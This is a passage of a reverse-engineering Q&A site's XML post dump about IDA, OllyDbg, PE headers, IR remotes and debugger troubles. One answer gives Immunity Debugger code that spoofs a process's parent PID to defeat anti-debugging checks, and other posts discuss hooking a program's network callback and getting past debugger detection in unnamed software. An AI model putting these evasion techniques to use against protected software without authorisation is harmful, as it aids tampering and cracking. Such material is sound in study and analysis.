  <row Id="12971" PostTypeId="1" CreationDate="2016-07-01T18:36:50.080" Score="0" ViewCount="243" Body="&lt;p&gt;How do I create an infrared remote control development environment in Linux? My short term goal is to find out available command codes accepted or recognized by the infrared receiver on my older projector. The device was purchased second hand with missing remote control and I would like to know how can I use a generic remote control to interact with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like an interesting challenge to me and I am interested to explore further how to decode, encode and reverse engineer infrared modules on other devices. While playing with LIRC on my computer allows me to play with the remote controls, I am yet to find resources that can interact with the receiver modules on other devices. One of the possible solution is to create an infrared transceiver module using Arduino to bruteforce and log communication with other infrared receivers  but I am still looking for the resources online that can help me achieve that. However I would like to know if anyone here reverse engineered infrared remote control modules before and find out a better/simpler ways to do so.&lt;/p&gt;&#xA;" OwnerUserId="16594" LastEditorDisplayName="user12114" LastEditDate="2016-11-26T16:11:30.490" LastActivityDate="2017-03-26T17:22:47.947" Title="Infrared Remote Control Programming / Development" Tags="|serial-communication|communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12972" PostTypeId="1" CreationDate="2016-07-01T19:49:00.700" Score="1" ViewCount="934" Body="&lt;p&gt;I have an exe on my desktop that i began debugging a while ago, so i have a lot of notes/breakpoints stored in the udd file. I now need to move that exe to a different directory but Olly sees it as a new exe because of the change in directory, so it creates a new udd file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a bunch of searching i see that Olly v1 has an option &quot;Debugging options -&gt; Security -&gt; Ignore path and extension&quot; but i don't see this in Olly v2. Per &lt;a href=&quot;http://ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;http://ollydbg.de/version2.html&lt;/a&gt;, the ability to do this has been present since OllyDbg 2.01 alpha 3:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Option to load .udd information even when path, file name or file checksum is different.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;does anyone know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="16596" LastActivityDate="2016-07-01T19:49:00.700" Title="Ignore Path and Extension in OllyDBG 2?" Tags="|ollydbg|debuggers|breakpoint|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12975" PostTypeId="2" ParentId="12969" CreationDate="2016-07-02T12:17:41.657" Score="1" Body="&lt;p&gt;So after going through the existing immunity scripts and mona.py, I found out that you also need to unpack the readMemory return values. Working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Process32NextWHook(LogBpHook):&#xA;&#xA;def __init__(self, ppid):&#xA;    LogBpHook.__init__(self)&#xA;    self.new_ppid = ppid&#xA;    return&#xA;&#xA;def run(self, regs):&#xA;    imm = immlib.Debugger()&#xA;&#xA;    # Get the Out_ LPPROCESSENTRY32 lppe&#xA;    PROCESSENTRY32 = regs[&quot;EBP&quot;] + 16&#xA;&#xA;    # Get the DWORD th32ParentProcessID&#xA;    target_ppid = PROCESSENTRY32 + 28&#xA;&#xA;    # Get the DWORD th32ProcessID&#xA;    target_pid = struct.unpack(&quot;&amp;lt;L&quot;, imm.readMemory(PROCESSENTRY32 + 12, 4))[0]&#xA;&#xA;    # Get the debugged process id&#xA;    self_pid = imm.getDebuggedPid()&#xA;&#xA;    # If the target pid matches our pid&#xA;    if target_pid == self_pid:&#xA;        # Set our ppid to the pid of explorer.exe&#xA;        imm.log(&quot;[*] patch_ppid patching ppid, Before: %d&quot; % struct.unpack(&quot;&amp;lt;L&quot;, imm.readMemory(target_ppid, 4))[0])&#xA;        imm.writeMemory(target_ppid, self.new_ppid)&#xA;        imm.log(&quot;[*] patch_ppid Done patching, After: %d&quot; % struct.unpack(&quot;&amp;lt;L&quot;, imm.readMemory(target_ppid, 4))[0])&#xA;&#xA;    return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feeling a bit stupid now, that I forgot something so basic. Oh well : )&lt;/p&gt;&#xA;" OwnerUserId="15916" LastActivityDate="2016-07-02T12:17:41.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12976" PostTypeId="1" AcceptedAnswerId="12977" CreationDate="2016-07-02T13:23:24.517" Score="2" ViewCount="15840" Body="&lt;p&gt;What's purpose of functions &lt;strong&gt;ROL&lt;/strong&gt; and &lt;strong&gt;ROR&lt;/strong&gt;?&#xA;For both of them, first arg is &lt;strong&gt;int&lt;/strong&gt;, and second is &lt;strong&gt;byte&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that's bitwise shifts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9CYls.png&quot; alt=&quot;two muppet[![rol and ror&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/9CYls.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;s]&lt;a href=&quot;https://i.stack.imgur.com/UEIBb.jpg&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;rol&quot;&gt;2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16603" LastActivityDate="2018-12-08T11:27:32.310" Title="Hex Rays - strange functions __ROL4__ and __ROR4__" Tags="|ida|decompilation|c|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12977" PostTypeId="2" ParentId="12976" CreationDate="2016-07-02T14:38:07.993" Score="5" Body="&lt;p&gt;Check out IDA directory\plugins\defs.h.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// Macros to represent some assembly instructions&#xA;// Feel free to modify them&#xA;&#xA;#define __ROL__(x, y) __rotl__(x, y)       // Rotate left&#xA;#define __ROR__(x, y) __rotr__(x, y)       // Rotate right&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://software.intel.com/sites/landingpage/IntrinsicsGuide/#expand=111,4411,4411&amp;amp;text=_rotl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__rotl__&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://software.intel.com/sites/landingpage/IntrinsicsGuide/#expand=111,4411,4411,4412&amp;amp;text=_rotr&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__rotr__&lt;/code&gt;&lt;/a&gt; are just for the &lt;code&gt;rol&lt;/code&gt; and &lt;code&gt;ror&lt;/code&gt; instructions&lt;/p&gt;&#xA;" OwnerUserId="8051" LastEditorUserId="2563" LastEditDate="2017-04-29T19:35:37.150" LastActivityDate="2017-04-29T19:35:37.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12979" PostTypeId="2" ParentId="12971" CreationDate="2016-07-04T01:47:51.650" Score="1" Body="&lt;p&gt;I don't want to stop anyone from reverse engineering stuff cuz I certainly do things all the time when they aren't necessary, BUT it sort of sounds like you're &lt;a href=&quot;https://joi.ito.com/weblog/2005/03/05/yak-shaving.html&quot; rel=&quot;nofollow&quot;&gt;shaving a yak&lt;/a&gt; (phrase was learned from another RE answer). I'd suggest buying a cheap remote control that is programmable and lookup your devices on the package insert. Then if you really want, you can get the IR codes using whatever method you want. &lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2016-07-04T01:47:51.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12980" PostTypeId="2" ParentId="12892" CreationDate="2016-07-04T02:45:09.450" Score="0" Body="&lt;p&gt;Ok, after more research I came up with an answer to this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need the one branch handler, since I could branch into the C code just fine because they share the same calling method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran out of space in the text segment before memory was getting mapped over my code, so I had to do some more invasive things via a different method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to make GCC play nice with the relative function calls I told it my code was located at 0x00000000+sizeof(.text) so it would use relative branches to the elf and absolute to the system stuff that does not move.&lt;/p&gt;&#xA;" OwnerUserId="16467" LastActivityDate="2016-07-04T02:45:09.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12981" PostTypeId="1" CreationDate="2016-07-04T02:52:01.053" Score="7" ViewCount="4971" Body="&lt;p&gt;I have a stripped elf file that has statically linked libraries. Is there a way that I could take the original library files that are in a files and name the functions in IDA that match those in the library?&lt;/p&gt;&#xA;" OwnerUserId="16467" LastActivityDate="2019-05-25T03:07:02.623" Title="IDA Load Symbols From Static Library" Tags="|ida|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12982" PostTypeId="1" AcceptedAnswerId="12997" CreationDate="2016-07-04T09:46:44.930" Score="2" ViewCount="1508" Body="&lt;p&gt;I want to search the sequence of API call using IDA Pro. How to search the API call node execution and what is the next API call node execution followed using IDA Pro. &lt;/p&gt;&#xA;" OwnerUserId="16054" LastActivityDate="2016-07-06T01:15:43.517" Title="How to search sequence of API call using IDA Pro?" Tags="|ida|disassembly|malware|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12989" PostTypeId="2" ParentId="12968" CreationDate="2016-07-04T19:24:27.740" Score="2" Body="&lt;p&gt;To figure out the type of a function parameter, you could reverse engineer the caller to see where the input parameter is coming from and how it's instantiated (potentially needing to go up a few levels in the call stack), and/or you could reverse engineer the callee to see how it handles the parameter.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-07-04T19:24:27.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12990" PostTypeId="2" ParentId="12981" CreationDate="2016-07-04T20:34:44.837" Score="1" Body="&lt;p&gt;probably this ida pro plugin can help &lt;code&gt;syms2elf&lt;/code&gt;&lt;br&gt;&#xA;The plugin export the symbols (for the moment only functions) recognized by IDA Pro and radare2 to the ELF symbol table. This allows us to use the power of IDA/r2 in recognizing functions (analysis, FLIRT signatures, manual creation, renaming, etc), but not be limited to the exclusive use of this tools.&#xA;Supports 32 and 64-bits file format.&lt;br&gt;&#xA;EXAMPLE&lt;br&gt;&#xA;Based on a full-stripped ELF:&lt;br&gt;&#xA;&lt;code&gt;$ file test1_x86_stripped &#xA;test1_x86_stripped: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped&lt;/code&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7aBKn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7aBKn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/danigargu/ida-syms2elf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/danigargu/ida-syms2elf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;br&gt;&#xA;another plugin &lt;code&gt;wsym&lt;/code&gt; Adds symbols to an ELF file. Sort of the opposite of strip. This is in a very early stage of development and should be considered PoC/beta software.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/wapiflapi/wsym&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/wapiflapi/wsym&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2016-07-04T20:34:44.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12992" PostTypeId="2" ParentId="12981" CreationDate="2016-07-05T14:20:58.650" Score="2" Body="&lt;p&gt;You need to create FLIRT signatures from the static libraries using the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;nofollow&quot;&gt;FLAIR kit&lt;/a&gt; and then apply those signatures to the loaded file. Note that this will only work if the exact same libraries were used in the binary's compilation (e.g. compilation options must match) since FLIRT relies on byte matching. For more info about FLIRT see &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-05T14:20:58.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12993" PostTypeId="1" AcceptedAnswerId="12994" CreationDate="2016-07-05T14:40:20.957" Score="2" ViewCount="6465" Body="&lt;p&gt;I know that the specifications of the Microsoft PE/DLL/DOS-MZ files states that the two first bytes of a PE/DLL/DOS-MZ file is &lt;code&gt;MZ&lt;/code&gt; (0x4d,0x5a&lt;code&gt;) or&lt;/code&gt;ZM&lt;code&gt;(&lt;/code&gt;0x5a,0x4d`).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with such a small signature is that a lot of other files may match the same specification and a test based only on this two first bytes quickly tends to be inconclusive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is simple, after testing that the two first bytes are &lt;code&gt;MZ&lt;/code&gt; (or &lt;code&gt;ZM&lt;/code&gt;), what other, more reliable, test can be performed to check that the file is a PE/DLL/DOS-MZ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2016-07-05T15:56:29.170" LastActivityDate="2016-11-28T08:45:04.047" Title="How to quickly distinguish PE/DLL/DOS-MZ files based on magic numbers?" Tags="|pe|dll|file-format|dos-exe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12994" PostTypeId="2" ParentId="12993" CreationDate="2016-07-05T14:56:46.867" Score="2" Body="&lt;p&gt;That would be &lt;code&gt;e_lfanew&lt;/code&gt; in the &lt;code&gt;MZ&lt;/code&gt; header itself. For simple (16 bit) MSDOS software, this ought to be &lt;code&gt;0&lt;/code&gt;, and for any extended format it should point right to one of the specific &lt;code&gt;LE&lt;/code&gt;, &lt;code&gt;PE&lt;/code&gt;, or &lt;code&gt;NE&lt;/code&gt; headers' identifiers (which all are exactly those two characters). As in all of these cases the header itself is a mere stub, &lt;code&gt;e_cp&lt;/code&gt; (the total size of this executable in pages) should not be larger than the offset of &lt;code&gt;e_lfanew&lt;/code&gt;. (Plus or minus that infernal &lt;code&gt;e_cblp&lt;/code&gt;, the &quot;bytes on last page of file&quot; – I always forget which one it is.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow&quot;&gt;Peering inside the PE&lt;/a&gt;, an article that despite its age still is very useful.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2016-07-05T14:56:46.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12996" PostTypeId="1" CreationDate="2016-07-05T17:18:56.760" Score="1" ViewCount="94" Body="&lt;p&gt;I'm trying to hook this 'recv callback' function and can manage to hook the function. However, when the 'new function' is supposed to return to its caller, it's instead returning to somewhere in stack, causing an access violation while executing opcodes which are actually some data on stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to debug this for hours but got nowhere. If someone did experience a similar issue and can point me to possible solutions I'd appreciate it very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've got a clue of what could be the issue and need further information on anything please let me know and I'll try to provide the best I can.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Function information from IDA:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MU2mU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MU2mU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My function:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GHfE0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GHfE0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also need to point that I can call original function(non-hooked) using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;on_recv((char*)buf, ARRAYSIZE(buf), 0, 0x0018F7AC);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried changing myOnRecv to __cdecl and __fastcall but no luck there either. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Upon further debugging I figured that function is returning to whatever was passed as 4th(last) parameter. What could be the reason of this?&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="13325" LastEditDate="2016-07-05T18:01:57.450" LastActivityDate="2016-08-05T21:10:09.627" Title="Function is returning to somewhere in stack" Tags="|c|stack|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12997" PostTypeId="2" ParentId="12982" CreationDate="2016-07-06T01:15:43.517" Score="1" Body="&lt;p&gt;I would take a look at &lt;a href=&quot;https://github.com/deresz/funcap&quot; rel=&quot;nofollow&quot;&gt;https://github.com/deresz/funcap&lt;/a&gt;. It might not have all the sequencing information you're looking for but I used it as a basis to do something similar a while ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do it dynamically with IDA's debugger, you can similarly use an IDA Python script to parse the callgraph of a binary. I think Grey Hat Python has a section on IDA Python if you don't want to/can't find open source resources (though I believe there are other plugins that do something like this).&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2016-07-06T01:15:43.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12998" PostTypeId="2" ParentId="12944" CreationDate="2016-07-06T09:22:19.207" Score="0" Body="&lt;p&gt;Well somethings I found out - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;ptrace_attach&lt;/code&gt; the main process of the target app and wait for signals, &#xA;I get SIGSEGV signal while app loads and just hangs there(because forked process cannot handle SIGSEGV). In the java code, it seems SIGSEGV occurs while calling View related functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess UnityPlayer or Android app loader handles SIGSEGV smoothly while app loading time. Therefore, if you get a SIGSEGV, simply detaching it and attaching again does not hang the app. &lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2016-07-06T09:22:19.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12999" PostTypeId="2" ParentId="11181" CreationDate="2016-07-06T11:56:34.403" Score="5" Body="&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New IDA 6.95 API&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps because they saw this question, maybe because of user requests, version 6.95 was released with two IDAPython API functions for creating a menu and a toolbar: &lt;code&gt;create_menu&lt;/code&gt; and &lt;code&gt;create_toolbar&lt;/code&gt; so now these can be done trivially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Old trick - Before 6.95&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hack I've been using is finding the application's main window manually and then adding a toolbar directly using QT. IDA only has one main window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a toolbar that way makes in completely recognizable by IDA as far as I can tell. You can tick it on and off, you can dock and un-dock it, changing to advanced mode automatically shows it as well. However, IDA won't let you add actions to it in IDA 6.7 and above (as described at &lt;a href=&quot;http://hexblog.com/?p=886&quot; rel=&quot;nofollow noreferrer&quot;&gt;hexblog.com/?p=886&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample code can look something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; for widget in QtGui.qApp.topLevelWidgets():&#xA;     if type(widget) == QtGui.QMainWindow:&#xA;         mainWindow = widget&#xA;         toolbar = mainWindow.addToolBar(&quot;My toolbar&quot;)&#xA;&#xA;         # and now for adding stuff to our toolbar&#xA;         toolbar.addSeparator()&#xA;         toolbar.addWidget(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; Keep in mind finding the main window this way if risky, undocumented and might not always work. IDA might not like that you're changing stuff underneath it. I do use it and it is working, but YMMV and UAYOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two additional tips for making this hack functional:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Since IDA's main window is not always visible when plugins are loaded, you &#xA;might want to set a QTimer on finding the main window.&lt;/li&gt;&#xA;&lt;li&gt;Because its undocumented, i use more ways to find the main window. Using &lt;code&gt;qApp.activeWindow()&lt;/code&gt; and/or &lt;code&gt;qApp.focusWidget()&lt;/code&gt; and iterating over their &lt;code&gt;.parent()&lt;/code&gt;s are good additional choices.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a more complete example of how to hack a toolbar and a menu in from an IDA plugin, handling different loading modes and retying in case the IDA application is not fully set-up yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  def init(self):&#xA;    self.setup()&#xA;&#xA;    return idaapi.PLUGIN_KEEP&#xA;&#xA;  def setup(self):&#xA;    if not self.get_mainwindow():&#xA;      self.delay_setup()&#xA;      return&#xA;&#xA;    # Add a toolbar like OP requested&#xA;    self.toolbar = self.get_mainwindow().addToolBar(&quot;My toolbar&quot;)&#xA;    self.toolbar.setIconSize(QtCore.QSize(16, 16))&#xA;&#xA;    # Bonus: add a menue&#xA;    self.menu = QtGui.QMenu(&quot;My menu&quot;)&#xA;    self.get_mainwindow().menuWidget().addMenu(self.menu)&#xA;&#xA;  def delay_setup(self):&#xA;    QtCore.QTimer.singleShot(1000, self.setup)&#xA;&#xA;  def get_mainwindow(self):&#xA;    if self.mainwindow:&#xA;      return self.mainwindow&#xA;&#xA;    app = QtGui.qApp&#xA;    widgets = [app.focusWidget(), app.activeWindow()] + app.topLevelWidgets()&#xA;    mainwidgets = filter(None, map(self.search_mainwindow, widgets))&#xA;&#xA;    if mainwidgets:&#xA;      self.mainwindow = mainwidgets[0]&#xA;&#xA;    return self.mainwindow&#xA;&#xA;  def search_mainwindow(self, widget):&#xA;    while widget != None:&#xA;      if isinstance(widget, QtGui.QMainWindow):&#xA;        return widget&#xA;      widget = widget.parent()&#xA;    return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-14T09:01:29.190" LastActivityDate="2017-04-14T09:01:29.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13000" PostTypeId="1" CreationDate="2016-07-06T18:06:56.483" Score="2" ViewCount="4206" Body="&lt;p&gt;To lay out the obvious for a start, I am a beginner in the Reverse Engineering area when it comes to Computer Science. I have come across a program which I wanted to reverse engineer for myself to see how it works and what I can tamper with and how (meaning I have not got the source code). I will not be giving the name of the software for obvious reasons, so &lt;strong&gt;I will refer to the software as &lt;em&gt;'X'&lt;/em&gt;&lt;/strong&gt; (how generic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the case is, when I start IDA Pro and put 'X' in it, it manages to load up successfully the subroutines, however, many library functions are apparently left unnamed, such as &quot;unnamed_libname_[number]&quot; and I find difficulties searching through them and analysing them. In addition, Strings are barely existing - only function names of the Windows API, such as IsDebuggerPresent and ReleaseMutex, where they appear, but the problem that I am struggling with comes even earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run 'X' after I've loaded it (it is a 32-bit .exe should that matter), the program very quickly leads to an error which is: &quot;[address]: The instruction at [address] referenced memory at 0x0. The memory could not be written -&gt; [plenty of zeros] (exc.code c0000005, tid [id]&quot; and the instruction it fails at is apparently &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;security.dll : [address] mov     byte ptr [eax], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried backtracing, even though I find it difficult, especially as I do not know what to look for or what to expect, so then I tried a couple of other tools to help understanding this better and realizing what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next debugger I tried was OllyDbg, where after I load and run the .exe, OllyDbg simply closes and then nothing happens. No .log file, no error message, nothing. When I try attaching it, my breakpoints don't work and one function of OllyDbg is 'Execute until return', which I use when I want to press a button. Nothing happens and Olly does not halt the process, even though it MUST have received probably a dozen returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously something weird is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I open up Dependency Walker as it might provide some information on the .dlls used, their functions, etc, hopefully being able to find out something about 'security.dll', which in fact has almost no results on google concerning this .dll, located in SysWOW64. Upon loading the .exe in DW, it takes a bit of time and after it's ready loading, it throws hundreds of errors such as &quot;Error opening file. The system could not find the file specified.&quot; which according to some is not a problem - these are delay-load dependencies which get loaded during runtime and DW would not initially know where they are located... OK! People suggested profiling it, so I try doing that. As I now profile the application under Dependency Walker (using the default settings) and run it, an &quot;Application Error&quot; window is thrown, saying &quot;The application was unable to start correctly ([address]). Click OK to close the application.&quot; and in the log file it gives the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Started &quot;[program name].EXE&quot; (process 0x2AF4) at address 0x00400000.  Cannot hook module.&#xA;Loaded &quot;NTDLL.DLL&quot; at address 0x77850000.  Cannot hook module.&#xA;Loaded &quot;KERNEL32.DLL&quot; at address 0x759D0000.  Cannot hook module.&#xA;Loaded &quot;KERNELBASE.DLL&quot; at address 0x747E0000.  Cannot hook module.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Followed by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DllMain(0x747E0000, DLL_PROCESS_ATTACH, 0x00000000) in &quot;KERNELBASE.DLL&quot; called.&#xA;DllMain(0x747E0000, DLL_PROCESS_ATTACH, 0x00000000) in &quot;KERNELBASE.DLL&quot; returned 1 (0x1).&#xA;DllMain(0x759D0000, DLL_PROCESS_ATTACH, 0x00000000) in &quot;KERNEL32.DLL&quot; called.&#xA;DllMain(0x759D0000, DLL_PROCESS_ATTACH, 0x00000000) in &quot;KERNEL32.DLL&quot; returned 1 (0x1).&#xA;Injected &quot;DEPENDS.DLL&quot; at address 0x08370000.&#xA;DllMain(0x08370000, DLL_PROCESS_ATTACH, 0x00000000) in &quot;DEPENDS.DLL&quot; called.&#xA;DllMain(0x08370000, DLL_PROCESS_ATTACH, 0x00000000) in &quot;DEPENDS.DLL&quot; returned 1 (0x1).&#xA;Exited &quot;[program name].EXE&quot; (process 0x2AF4) with code -1073741502 (0xC0000142).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And at this point I am completely clueless as to what I can/should do. Most probably all of this is a symptom of something, which means something deeper in the program is causing all of this, but I have no idea what it might be, where it might be and how one can analyze and fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My belief is that it may have something to do with an anti-debugging technique, as the program runs fine without trying all of these fancy reverse things, but as I said before, I'm clueless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone happens to have any idea what might be causing this behavior in several debuggers, the symptoms that arise and ways I can possibly tackle this situation, it would be of great help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, what is a reason why strings may not appear in the disassembly windows, such as &quot;Options&quot; or a message being given to the user? No other files exist in the directory that may possibly have such data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also had the thought that it may have something to do with obfuscation/packing, although PEiD gives no results when I scan it plus it is a bit illogical to be impossible to run normally under a debugger such as IDA and OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All answers appreciated heartily!&lt;/p&gt;&#xA;" OwnerUserId="16639" LastActivityDate="2016-10-21T16:15:25.233" Title="Why does program fail to run under several debuggers?" Tags="|ida|windows|ollydbg|debugging|executable|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13001" PostTypeId="1" CreationDate="2016-07-06T19:02:25.737" Score="2" ViewCount="420" Body="&lt;p&gt;I read in the IDA Pro Book that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you may use &lt;code&gt;till.exe&lt;/code&gt; to parse header files and create standalone &lt;code&gt;.til&lt;/code&gt;&#xA;  files which can be made globally available by copying them into&#xA;  &lt;code&gt;&amp;lt;IDADIR&amp;gt;/til&lt;/code&gt;.&#xA;  This is all well and good when you happen to have access to source code that you then allow IDA (or &lt;code&gt;till.exe&lt;/code&gt;) to parse.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I was wondering what would happen if the header file is from a library version older than the one used by the target binary (or vice versa). The closest I could find was &lt;a href=&quot;https://stackoverflow.com/a/6099885/4480139&quot;&gt;this&lt;/a&gt; SO answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the ABI in the exported functions don't change you should be able&#xA;  to get away with using an older DLL with a program linked against a&#xA;  newer .lib, as long as the program isn't using a new export that are&#xA;  in the new .lib but not in the older DLL.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Things which affect the ABI (I'm not claiming this is a comprehensive&#xA;  list):&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;calling convention&lt;/li&gt;&#xA;  